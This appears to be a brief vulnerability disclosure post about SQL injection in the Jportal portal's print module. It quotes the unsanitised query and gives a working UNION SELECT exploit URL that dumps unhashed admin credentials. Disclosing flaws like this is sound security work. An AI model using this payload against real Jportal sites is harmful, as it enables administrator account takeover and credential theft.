Jportal is a portal system, quite commonly used:

(Google)
Results 1 - 10 of about 56,100 for "powered by jportal". (0.22 seconds) 

Homepage:
http://jportal2.com/

I've read its code and found:

in module/print.inc.php:

function art_print() {
....
$query = "SELECT * FROM $art_tbl WHERE id=$id";
...
}

What to say? ;]

example exploitation:
http://xxxxx/print.php?what=article&id=X AND 1=0 UNION SELECT id,id,nick,pass,id,id,id,id,id from admins LIMIT 1

result: unhashed admin password.

There are a lot more bugs in it, imho whole system should be rewritten from a scratch (also using password hashing is a good thing i think :)

Maciek 'ziemniaq' Wierci?ski